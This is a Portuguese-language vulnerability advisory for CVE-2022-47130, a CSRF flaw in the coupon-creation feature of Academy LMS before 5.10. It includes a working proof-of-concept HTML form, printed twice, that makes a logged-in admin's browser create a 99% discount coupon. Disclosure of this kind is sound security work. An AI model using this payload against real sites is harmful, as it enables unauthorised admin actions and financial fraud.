Descrição
O Academy LMS é uma aplicação onde pessoas conseguem criar e anunciar cursos. O recurso de adicionar um cupom está vulnerável a CSRF, pois não há nenhuma token que faz com que esse ataque seja evitado.
Prova de Conceito (POC)
O primeiro passo para a nossa prova de conceito é autenticar na plataforma com usuário administrativo.

Após isso, basta acessar a página que contém o código para a exploração da vulnerabilidade, confira que um novo cupom foi criado de forma automática.

Código usado na exploração:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://target.com/admin/coupons/add" method="POST">
<input type="hidden" name="code" value="vinix" />
<input type="hidden" name="discount_percentage" value="99" />
<input type="hidden" name="expiry_date" value="12/11/2022" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://target.com/admin/coupons/add" method="POST">
<input type="hidden" name="code" value="vinix" />
<input type="hidden" name="discount_percentage" value="99" />
<input type="hidden" name="expiry_date" value="12/11/2022" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Versões Afetadas
Academy LMS - < 5.10
Pesquisador
Classificação
Type: Cross-Site Request Forgery
OWASP TOP 10: A01:2021 - Broken Access Control
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Type: Cross-Site Request Forgery
OWASP TOP 10: A01:2021 - Broken Access Control
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
CVE
CVE-2022-47130